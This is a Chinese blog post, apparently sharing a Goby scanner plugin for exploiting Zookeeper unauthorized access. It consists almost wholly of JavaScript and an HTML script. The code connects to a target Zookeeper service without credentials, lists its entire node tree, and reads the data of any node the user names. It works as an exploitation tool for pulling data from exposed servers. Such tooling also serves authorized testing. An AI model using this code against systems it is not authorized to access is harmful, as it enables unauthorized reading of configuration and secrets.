插件分享 | 如何快速上手 Zookeeper 未授权漏洞

npm install node-zookeeper-client

function activate(content) {
    class ZookeeperU{  //创建一个Zookeeper对象
        constructor(){  //构造函数            this.Zookeeper = require('node-zookeeper-client');  //引入模块            this.clent;        }
        Zclent(hostinfo){  //创建连接zookeeper客户端的函数            this.clent = this.Zookeeper.createClient(hostinfo,{sessionTimeout:5000});            this.clent.connect();            console.log(this.clent)        }
        setInfo(hostinfo){            this.hostinfo = hostinfo;        }
        getInfo(){            return this.hostinfo;        }
        getListtree(){    //获取节点的函数            return new Promise ((resolve,reject) => {                this.clent.listSubTreeBFS('/', function (error, children) {                    if (error) {                        console.log(error.stack);                        return;                    }                                        resolve(children);                });            })        }
        getDataa(path){    //获取节点数据的函数            return new Promise ((resolve,reject) => {                this.clent.getData(path, function (error, data,stat) {                    if (error) {                        console.log(error.stack);                        return;                    }                                        resolve(data.toString());                });            })        }    }
    if (!window.ZookeeperU){   //实例化Zookeeper对象        window.ZookeeperU = new ZookeeperU();    }
    goby.registerCommand('zookeeper', (content) => {        window.ZookeeperU.setInfo(content.hostinfo);  //传入hostinfo(即IP和端口)        window.ZookeeperU.Zclent(content.hostinfo);          let path = __dirname + "/index.html";        goby.showIframeDia(path, "Zookeeper Unauthorized Exploitation", "600", "600");    });
    goby.registerCommand('zookeeper_visi',  (content) => {        return content.name === "zookeeper unauthorized"   //判断是否存在该漏洞    });}
exports.activate = activate;

<script>  var Zk = parent.ZookeeperU;    //获取父窗口的Zookeepe实例，注意Zookeeper后边没有括号  let hostinfo = Zk.getInfo();    var path ="/";  Zk.Zclent(hostinfo);
   Zk.getListtree().then(function (res){  //通过Promise对象then方法获取返回值    var arr="";    for(let i=1;i<res.length;i++){        var a=0;      for(let j=res.length;j>i;j--){        var b = res.slice(j,j+1);        var c = b.toString();        if(c.includes(res[i])==true){          a=a+1;        }
      }      if(a==0){arr += '<p>'+ res[i] + '  ——File' +'</p>';}      else{arr += '<p>'+ res[i] +'   ——File Node'+ '</p>';}    }    document.getElementById("Listname").innerHTML = arr;  });
   Zk.getDataa(path).then(function (res){document.getElementById("Filedata").innerHTML = res;});
   function getinput(){     path = document.getElementById("filename").value;     Zk.getDataa(path).then(function (res){document.getElementById("Filedata").innerHTML = res;});   }</script>